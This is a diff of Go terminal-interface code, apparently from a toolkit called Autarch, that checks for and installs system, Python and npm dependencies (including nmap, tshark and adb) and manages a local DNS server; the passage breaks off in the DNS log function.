var systemDeps = []depCheck{
|
|
||||||
// Core runtime
|
|
||||||
{"python3", "python3", "python3", "system", "Python 3.10+ interpreter"},
|
|
||||||
{"pip", "pip3", "python3-pip", "system", "Python package manager"},
|
|
||||||
{"python3-venv", "python3 -m venv --help", "python3-venv", "system", "Python virtual environments"},
|
|
||||||
{"python3-dev", "python3-config --includes", "python3-dev", "system", "Python C headers (for native extensions)"},
|
|
||||||
|
|
||||||
// Build tools
|
|
||||||
{"gcc", "gcc", "build-essential", "system", "C/C++ compiler toolchain"},
|
|
||||||
{"cmake", "cmake", "cmake", "system", "CMake build system (for llama-cpp)"},
|
|
||||||
{"pkg-config", "pkg-config", "pkg-config", "system", "Package config helper"},
|
|
||||||
|
|
||||||
// Core system utilities
|
|
||||||
{"git", "git", "git", "system", "Version control"},
|
|
||||||
{"curl", "curl", "curl", "system", "HTTP client"},
|
|
||||||
{"wget", "wget", "wget", "system", "File downloader"},
|
|
||||||
{"openssl", "openssl", "openssl", "system", "TLS/crypto toolkit"},
|
|
||||||
|
|
||||||
// C libraries for Python packages
|
|
||||||
{"libffi-dev", "pkg-config --exists libffi", "libffi-dev", "system", "FFI library (for cffi/cryptography)"},
|
|
||||||
{"libssl-dev", "pkg-config --exists openssl", "libssl-dev", "system", "OpenSSL headers (for cryptography)"},
|
|
||||||
{"libpcap-dev", "pkg-config --exists libpcap", "libpcap-dev", "system", "Packet capture headers (for scapy)"},
|
|
||||||
{"libxml2-dev", "pkg-config --exists libxml-2.0", "libxml2-dev", "system", "XML parser headers (for lxml)"},
|
|
||||||
{"libxslt1-dev", "pkg-config --exists libxslt", "libxslt1-dev", "system", "XSLT headers (for lxml)"},
|
|
||||||
|
|
||||||
// Security tools
|
|
||||||
{"nmap", "nmap", "nmap", "system", "Network scanner"},
|
|
||||||
{"tshark", "tshark", "tshark", "system", "Packet analysis (Wireshark CLI)"},
|
|
||||||
{"whois", "whois", "whois", "system", "WHOIS lookup"},
|
|
||||||
{"dnsutils", "dig", "dnsutils", "system", "DNS utilities (dig, nslookup)"},
|
|
||||||
|
|
||||||
// Android tools
|
|
||||||
{"adb", "adb", "adb", "system", "Android Debug Bridge"},
|
|
||||||
{"fastboot", "fastboot", "fastboot", "system", "Android Fastboot"},
|
|
||||||
|
|
||||||
// Network tools
|
|
||||||
{"wg", "wg", "wireguard-tools", "system", "WireGuard VPN tools"},
|
|
||||||
{"upnpc", "upnpc", "miniupnpc", "system", "UPnP port mapping client"},
|
|
||||||
{"net-tools", "ifconfig", "net-tools", "system", "Network utilities (ifconfig)"},
|
|
||||||
|
|
||||||
// Node.js
|
|
||||||
{"node", "node", "nodejs", "system", "Node.js (for hardware WebUSB libs)"},
|
|
||||||
{"npm", "npm", "npm", "system", "Node package manager"},
|
|
||||||
|
|
||||||
// Go
|
|
||||||
{"go", "go", "golang", "system", "Go compiler (for DNS server build)"},
|
|
||||||
|
|
||||||
// Media / misc
|
|
||||||
{"ffmpeg", "ffmpeg", "ffmpeg", "system", "Media processing"},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderDepsMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("DEPENDENCIES"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if len(a.listItems) == 0 {
|
|
||||||
b.WriteString(styleDim.Render(" Loading..."))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Count installed vs total
|
|
||||||
installed, total := 0, 0
|
|
||||||
for _, item := range a.listItems {
|
|
||||||
if item.Extra == "system" {
|
|
||||||
total++
|
|
||||||
if item.Enabled {
|
|
||||||
installed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// System packages
|
|
||||||
b.WriteString(styleKey.Render(fmt.Sprintf(" System Packages (%d/%d installed)", installed, total)))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
|
|
||||||
for _, item := range a.listItems {
|
|
||||||
if item.Extra != "system" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
status := styleStatusOK.Render("✔ installed")
|
|
||||||
if !item.Enabled {
|
|
||||||
status = styleStatusBad.Render("✘ missing ")
|
|
||||||
}
|
|
||||||
b.WriteString(fmt.Sprintf(" %s %-14s %s\n", status, item.Name, styleDim.Render(item.Status)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Python venv
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" Python Virtual Environment"))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
for _, item := range a.listItems {
|
|
||||||
if item.Extra != "venv" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
status := styleStatusOK.Render("✔ ready ")
|
|
||||||
if !item.Enabled {
|
|
||||||
status = styleStatusBad.Render("✘ missing")
|
|
||||||
}
|
|
||||||
b.WriteString(fmt.Sprintf(" %s %s\n", status, item.Name))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Actions
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" [a]") + " Install all missing system packages\n")
|
|
||||||
b.WriteString(styleKey.Render(" [v]") + " Create/recreate Python venv + install pip packages\n")
|
|
||||||
b.WriteString(styleKey.Render(" [n]") + " Install npm packages + build hardware JS bundles\n")
|
|
||||||
b.WriteString(styleKey.Render(" [f]") + " Full install (system + venv + pip + npm)\n")
|
|
||||||
b.WriteString(styleKey.Render(" [g]") + " Install Go compiler (for DNS server)\n")
|
|
||||||
b.WriteString(styleKey.Render(" [r]") + " Refresh status\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleDepsMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "a":
|
|
||||||
return a.startDepsInstall("system")
|
|
||||||
case "v":
|
|
||||||
return a.startDepsInstall("venv")
|
|
||||||
case "n":
|
|
||||||
return a.startDepsInstall("npm")
|
|
||||||
case "f":
|
|
||||||
return a.startDepsInstall("full")
|
|
||||||
case "g":
|
|
||||||
return a.startDepsInstall("go")
|
|
||||||
case "r":
|
|
||||||
return a, a.loadDepsStatus()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Commands ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) loadDepsStatus() tea.Cmd {
|
|
||||||
return func() tea.Msg {
|
|
||||||
var items []ListItem
|
|
||||||
|
|
||||||
// Check system deps
|
|
||||||
for _, d := range systemDeps {
|
|
||||||
installed := false
|
|
||||||
parts := strings.Fields(d.Cmd)
|
|
||||||
if len(parts) == 1 {
|
|
||||||
_, err := exec.LookPath(d.Cmd)
|
|
||||||
installed = err == nil
|
|
||||||
} else {
|
|
||||||
cmd := exec.Command(parts[0], parts[1:]...)
|
|
||||||
installed = cmd.Run() == nil
|
|
||||||
}
|
|
||||||
items = append(items, ListItem{
|
|
||||||
Name: d.Name,
|
|
||||||
Status: d.Desc,
|
|
||||||
Enabled: installed,
|
|
||||||
Extra: "system",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check venv
|
|
||||||
venvPath := fmt.Sprintf("%s/venv", findAutarchDir())
|
|
||||||
_, err := exec.LookPath(venvPath + "/bin/python3")
|
|
||||||
items = append(items, ListItem{
|
|
||||||
Name: "venv (" + venvPath + ")",
|
|
||||||
Enabled: err == nil,
|
|
||||||
Extra: "venv",
|
|
||||||
})
|
|
||||||
|
|
||||||
// Check pip packages in venv
|
|
||||||
venvPip := venvPath + "/bin/pip3"
|
|
||||||
if _, err := exec.LookPath(venvPip); err == nil {
|
|
||||||
out, _ := exec.Command(venvPip, "list", "--format=columns").Output()
|
|
||||||
count := strings.Count(string(out), "\n") - 2
|
|
||||||
if count < 0 {
|
|
||||||
count = 0
|
|
||||||
}
|
|
||||||
items = append(items, ListItem{
|
|
||||||
Name: fmt.Sprintf("pip packages (%d installed)", count),
|
|
||||||
Enabled: count > 5,
|
|
||||||
Extra: "venv",
|
|
||||||
})
|
|
||||||
} else {
|
|
||||||
items = append(items, ListItem{
|
|
||||||
Name: "pip packages (venv not found)",
|
|
||||||
Enabled: false,
|
|
||||||
Extra: "venv",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return depsLoadedMsg{items: items}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
type depsLoadedMsg struct{ items []ListItem }
|
|
||||||
|
|
||||||
func (a App) startDepsInstall(mode string) (App, tea.Cmd) {
|
|
||||||
a.pushView(ViewDepsInstall)
|
|
||||||
a.outputLines = nil
|
|
||||||
a.outputDone = false
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
a.progressLabel = ""
|
|
||||||
|
|
||||||
ch := make(chan tea.Msg, 256)
|
|
||||||
a.outputCh = ch
|
|
||||||
|
|
||||||
autarchDir := findAutarchDir()
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
var steps []CmdStep
|
|
||||||
|
|
||||||
switch mode {
|
|
||||||
case "system":
|
|
||||||
steps = buildSystemInstallSteps()
|
|
||||||
|
|
||||||
case "venv":
|
|
||||||
steps = buildVenvSteps(autarchDir)
|
|
||||||
|
|
||||||
case "npm":
|
|
||||||
steps = buildNpmSteps(autarchDir)
|
|
||||||
|
|
||||||
case "go":
|
|
||||||
steps = []CmdStep{
|
|
||||||
{Label: "Update package lists", Args: []string{"apt-get", "update", "-qq"}},
|
|
||||||
{Label: "Install Go compiler", Args: []string{"apt-get", "install", "-y", "golang"}},
|
|
||||||
}
|
|
||||||
|
|
||||||
case "full":
|
|
||||||
steps = buildSystemInstallSteps()
|
|
||||||
steps = append(steps, buildVenvSteps(autarchDir)...)
|
|
||||||
steps = append(steps, buildNpmSteps(autarchDir)...)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(steps) == 0 {
|
|
||||||
ch <- OutputLineMsg(styleSuccess.Render("Nothing to install — all dependencies are present."))
|
|
||||||
close(ch)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
streamSteps(ch, steps)
|
|
||||||
}()
|
|
||||||
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Step Builders ───────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func buildSystemInstallSteps() []CmdStep {
|
|
||||||
// Collect missing packages
|
|
||||||
var pkgs []string
|
|
||||||
for _, d := range systemDeps {
|
|
||||||
parts := strings.Fields(d.Cmd)
|
|
||||||
if len(parts) == 1 {
|
|
||||||
if _, err := exec.LookPath(d.Cmd); err != nil {
|
|
||||||
pkgs = append(pkgs, d.Pkg)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
cmd := exec.Command(parts[0], parts[1:]...)
|
|
||||||
if cmd.Run() != nil {
|
|
||||||
pkgs = append(pkgs, d.Pkg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Deduplicate packages (some deps share packages like build-essential)
|
|
||||||
seen := make(map[string]bool)
|
|
||||||
var uniquePkgs []string
|
|
||||||
for _, p := range pkgs {
|
|
||||||
if !seen[p] {
|
|
||||||
seen[p] = true
|
|
||||||
uniquePkgs = append(uniquePkgs, p)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(uniquePkgs) == 0 {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
steps := []CmdStep{
|
|
||||||
{Label: "Update package lists", Args: []string{"apt-get", "update", "-qq"}},
|
|
||||||
}
|
|
||||||
|
|
||||||
// Install in batches to show progress per category
|
|
||||||
// Group: core runtime
|
|
||||||
corePackages := filterPackages(uniquePkgs, []string{
|
|
||||||
"python3", "python3-pip", "python3-venv", "python3-dev",
|
|
||||||
"build-essential", "cmake", "pkg-config",
|
|
||||||
"git", "curl", "wget", "openssl",
|
|
||||||
})
|
|
||||||
if len(corePackages) > 0 {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: fmt.Sprintf("Install core packages (%s)", strings.Join(corePackages, ", ")),
|
|
||||||
Args: append([]string{"apt-get", "install", "-y"}, corePackages...),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Group: C library headers
|
|
||||||
libPackages := filterPackages(uniquePkgs, []string{
|
|
||||||
"libffi-dev", "libssl-dev", "libpcap-dev", "libxml2-dev", "libxslt1-dev",
|
|
||||||
})
|
|
||||||
if len(libPackages) > 0 {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: fmt.Sprintf("Install C library headers (%s)", strings.Join(libPackages, ", ")),
|
|
||||||
Args: append([]string{"apt-get", "install", "-y"}, libPackages...),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Group: security & network tools
|
|
||||||
toolPackages := filterPackages(uniquePkgs, []string{
|
|
||||||
"nmap", "tshark", "whois", "dnsutils",
|
|
||||||
"adb", "fastboot",
|
|
||||||
"wireguard-tools", "miniupnpc", "net-tools",
|
|
||||||
"ffmpeg",
|
|
||||||
})
|
|
||||||
if len(toolPackages) > 0 {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: fmt.Sprintf("Install security/network tools (%s)", strings.Join(toolPackages, ", ")),
|
|
||||||
Args: append([]string{"apt-get", "install", "-y"}, toolPackages...),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Group: node + go
|
|
||||||
devPackages := filterPackages(uniquePkgs, []string{
|
|
||||||
"nodejs", "npm", "golang",
|
|
||||||
})
|
|
||||||
if len(devPackages) > 0 {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: fmt.Sprintf("Install dev tools (%s)", strings.Join(devPackages, ", ")),
|
|
||||||
Args: append([]string{"apt-get", "install", "-y"}, devPackages...),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return steps
|
|
||||||
}
|
|
||||||
|
|
||||||
func buildVenvSteps(autarchDir string) []CmdStep {
|
|
||||||
venv := autarchDir + "/venv"
|
|
||||||
pip := venv + "/bin/pip3"
|
|
||||||
reqFile := autarchDir + "/requirements.txt"
|
|
||||||
|
|
||||||
steps := []CmdStep{
|
|
||||||
{Label: "Create Python virtual environment", Args: []string{"python3", "-m", "venv", venv}},
|
|
||||||
{Label: "Upgrade pip, setuptools, wheel", Args: []string{pip, "install", "--upgrade", "pip", "setuptools", "wheel"}},
|
|
||||||
}
|
|
||||||
|
|
||||||
if fileExists(reqFile) {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Install Python packages from requirements.txt",
|
|
||||||
Args: []string{pip, "install", "-r", reqFile},
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return steps
|
|
||||||
}
|
|
||||||
|
|
||||||
func buildNpmSteps(autarchDir string) []CmdStep {
|
|
||||||
steps := []CmdStep{
|
|
||||||
{Label: "Install npm packages", Args: []string{"npm", "install"}, Dir: autarchDir},
|
|
||||||
}
|
|
||||||
|
|
||||||
if fileExists(autarchDir + "/scripts/build-hw-libs.sh") {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Build hardware JS bundles",
|
|
||||||
Args: []string{"bash", "scripts/build-hw-libs.sh"},
|
|
||||||
Dir: autarchDir,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return steps
|
|
||||||
}
|
|
||||||
|
|
||||||
// filterPackages returns only packages from wanted that exist in available.
|
|
||||||
func filterPackages(available, wanted []string) []string {
|
|
||||||
avail := make(map[string]bool)
|
|
||||||
for _, p := range available {
|
|
||||||
avail[p] = true
|
|
||||||
}
|
|
||||||
var result []string
|
|
||||||
for _, p := range wanted {
|
|
||||||
if avail[p] {
|
|
||||||
result = append(result, p)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
@ -1,761 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"net/http"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/charmbracelet/bubbles/textinput"
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderDNSMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("DNS SERVER"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Check DNS server status
|
|
||||||
_, dnsRunning := getServiceStatus("autarch-dns")
|
|
||||||
if dnsRunning {
|
|
||||||
b.WriteString(" " + styleStatusOK.Render("● DNS Server is running"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("○ DNS Server is stopped"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Check if binary exists
|
|
||||||
dir := findAutarchDir()
|
|
||||||
binaryPath := dir + "/services/dns-server/autarch-dns"
|
|
||||||
if fileExists(binaryPath) {
|
|
||||||
b.WriteString(" " + styleSuccess.Render("✔ Binary found: ") + styleDim.Render(binaryPath))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleWarning.Render("⚠ Binary not found — build required"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Check if source exists
|
|
||||||
sourcePath := dir + "/services/dns-server/main.go"
|
|
||||||
if fileExists(sourcePath) {
|
|
||||||
b.WriteString(" " + styleSuccess.Render("✔ Source code present"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleError.Render("✘ Source not found at " + dir + "/services/dns-server/"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" [b]") + " Build DNS server from source\n")
|
|
||||||
b.WriteString(styleKey.Render(" [s]") + " Start / Stop DNS server\n")
|
|
||||||
b.WriteString(styleKey.Render(" [m]") + " Manage DNS (zones, records, hosts, blocklist)\n")
|
|
||||||
b.WriteString(styleKey.Render(" [c]") + " Edit DNS config\n")
|
|
||||||
b.WriteString(styleKey.Render(" [t]") + " Test DNS resolution\n")
|
|
||||||
b.WriteString(styleKey.Render(" [l]") + " View DNS logs\n")
|
|
||||||
b.WriteString(styleKey.Render(" [i]") + " Install systemd service unit\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) renderDNSManageMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("DNS MANAGEMENT"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Try to get status from API
|
|
||||||
status := getDNSAPIStatus()
|
|
||||||
if status != nil {
|
|
||||||
b.WriteString(" " + styleKey.Render("Queries: ") +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Render(fmt.Sprintf("%v", status["total_queries"])))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(" " + styleKey.Render("Cache: ") +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Render(fmt.Sprintf("hits=%v misses=%v", status["cache_hits"], status["cache_misses"])))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(" " + styleKey.Render("Blocked: ") +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Render(fmt.Sprintf("%v", status["blocked_queries"])))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
} else {
|
|
||||||
b.WriteString(styleWarning.Render(" ⚠ Cannot reach DNS API — is the server running?"))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" [z]") + " Manage zones\n")
|
|
||||||
b.WriteString(styleKey.Render(" [h]") + " Manage hosts file\n")
|
|
||||||
b.WriteString(styleKey.Render(" [b]") + " Manage blocklist\n")
|
|
||||||
b.WriteString(styleKey.Render(" [f]") + " Manage forwarding rules\n")
|
|
||||||
b.WriteString(styleKey.Render(" [c]") + " Flush cache\n")
|
|
||||||
b.WriteString(styleKey.Render(" [q]") + " Query log\n")
|
|
||||||
b.WriteString(styleKey.Render(" [t]") + " Top domains\n")
|
|
||||||
b.WriteString(styleKey.Render(" [e]") + " Encryption settings (DoT/DoH)\n")
|
|
||||||
b.WriteString(styleKey.Render(" [r]") + " Root server check\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) renderDNSZones() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("DNS ZONES"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if len(a.listItems) == 0 {
|
|
||||||
b.WriteString(styleDim.Render(" No zones configured (or API unreachable)."))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
} else {
|
|
||||||
for i, item := range a.listItems {
|
|
||||||
cursor := " "
|
|
||||||
if i == a.cursor {
|
|
||||||
cursor = styleSelected.Render(" ▸") + " "
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(fmt.Sprintf("%s%s %s\n",
|
|
||||||
cursor,
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(item.Name),
|
|
||||||
styleDim.Render(item.Status),
|
|
||||||
))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString(styleKey.Render(" [n]") + " New zone ")
|
|
||||||
b.WriteString(styleKey.Render("[enter]") + " View records ")
|
|
||||||
b.WriteString(styleKey.Render("[d]") + " Delete zone\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleDNSMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "b":
|
|
||||||
return a.buildDNSServer()
|
|
||||||
case "s":
|
|
||||||
return a.toggleDNSService()
|
|
||||||
case "m":
|
|
||||||
a.pushView(ViewDNSManage)
|
|
||||||
return a, nil
|
|
||||||
case "c":
|
|
||||||
return a.editDNSConfig()
|
|
||||||
case "t":
|
|
||||||
return a.testDNSResolution()
|
|
||||||
case "l":
|
|
||||||
return a.viewDNSLogs()
|
|
||||||
case "i":
|
|
||||||
return a.installDNSUnit()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) handleDNSManageMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "z":
|
|
||||||
return a.loadDNSZones()
|
|
||||||
case "h":
|
|
||||||
return a.manageDNSHosts()
|
|
||||||
case "b":
|
|
||||||
return a.manageDNSBlocklist()
|
|
||||||
case "f":
|
|
||||||
return a.manageDNSForwarding()
|
|
||||||
case "c":
|
|
||||||
return a.flushDNSCache()
|
|
||||||
case "q":
|
|
||||||
return a.viewDNSQueryLog()
|
|
||||||
case "t":
|
|
||||||
return a.viewDNSTopDomains()
|
|
||||||
case "e":
|
|
||||||
return a.viewDNSEncryption()
|
|
||||||
case "r":
|
|
||||||
return a.dnsRootCheck()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) handleDNSZonesMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "n":
|
|
||||||
return a.openDNSZoneForm()
|
|
||||||
case "enter":
|
|
||||||
if a.cursor >= 0 && a.cursor < len(a.listItems) {
|
|
||||||
return a.viewDNSZoneRecords(a.listItems[a.cursor].Name)
|
|
||||||
}
|
|
||||||
case "d":
|
|
||||||
if a.cursor >= 0 && a.cursor < len(a.listItems) {
|
|
||||||
zone := a.listItems[a.cursor].Name
|
|
||||||
a.confirmPrompt = fmt.Sprintf("Delete zone '%s' and all its records?", zone)
|
|
||||||
a.confirmAction = func() tea.Cmd {
|
|
||||||
return func() tea.Msg {
|
|
||||||
return dnsAPIDelete("/api/zones/" + zone)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
a.pushView(ViewConfirm)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── DNS Commands ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) buildDNSServer() (App, tea.Cmd) {
|
|
||||||
a.pushView(ViewDNSBuild)
|
|
||||||
a.outputLines = nil
|
|
||||||
a.outputDone = false
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
|
|
||||||
ch := make(chan tea.Msg, 256)
|
|
||||||
a.outputCh = ch
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
dnsDir := dir + "/services/dns-server"
|
|
||||||
|
|
||||||
steps := []CmdStep{
|
|
||||||
{Label: "Download Go dependencies", Args: []string{"go", "mod", "download"}, Dir: dnsDir},
|
|
||||||
{Label: "Build DNS server binary", Args: []string{"go", "build", "-o", "autarch-dns", "."}, Dir: dnsDir},
|
|
||||||
}
|
|
||||||
|
|
||||||
streamSteps(ch, steps)
|
|
||||||
}()
|
|
||||||
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) toggleDNSService() (App, tea.Cmd) {
|
|
||||||
return a.toggleService(1) // Index 1 = autarch-dns
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) editDNSConfig() (App, tea.Cmd) {
|
|
||||||
// Load DNS config as a settings section
|
|
||||||
dir := findAutarchDir()
|
|
||||||
configPath := dir + "/data/dns/config.json"
|
|
||||||
|
|
||||||
data, err := readFileBytes(configPath)
|
|
||||||
if err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "DNS Config",
|
|
||||||
Lines: []string{
|
|
||||||
"No DNS config file found at: " + configPath,
|
|
||||||
"",
|
|
||||||
"Start the DNS server once to generate a default config,",
|
|
||||||
"or build and run: ./autarch-dns --config " + configPath,
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var cfg map[string]interface{}
|
|
||||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{"Invalid JSON: " + err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Flatten to key=value for editing
|
|
||||||
var keys []string
|
|
||||||
var vals []string
|
|
||||||
for k, v := range cfg {
|
|
||||||
keys = append(keys, k)
|
|
||||||
vals = append(vals, fmt.Sprintf("%v", v))
|
|
||||||
}
|
|
||||||
|
|
||||||
a.settingsSection = "dns-config"
|
|
||||||
a.settingsKeys = keys
|
|
||||||
a.settingsVals = vals
|
|
||||||
a.pushView(ViewSettingsSection)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) testDNSResolution() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
domains := []string{"google.com", "github.com", "cloudflare.com"}
|
|
||||||
var lines []string
|
|
||||||
|
|
||||||
for _, domain := range domains {
|
|
||||||
out, err := exec.Command("dig", "@127.0.0.1", domain, "+short", "+time=2").Output()
|
|
||||||
if err != nil {
|
|
||||||
lines = append(lines, styleError.Render(fmt.Sprintf(" ✘ %s: %s", domain, err.Error())))
|
|
||||||
} else {
|
|
||||||
result := strings.TrimSpace(string(out))
|
|
||||||
if result == "" {
|
|
||||||
lines = append(lines, styleWarning.Render(fmt.Sprintf(" ⚠ %s: no answer", domain)))
|
|
||||||
} else {
|
|
||||||
lines = append(lines, styleSuccess.Render(fmt.Sprintf(" ✔ %s → %s", domain, result)))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return ResultMsg{Title: "DNS Resolution Test (@127.0.0.1)", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) viewDNSLogs() (App, tea.Cmd) {
|
|
||||||
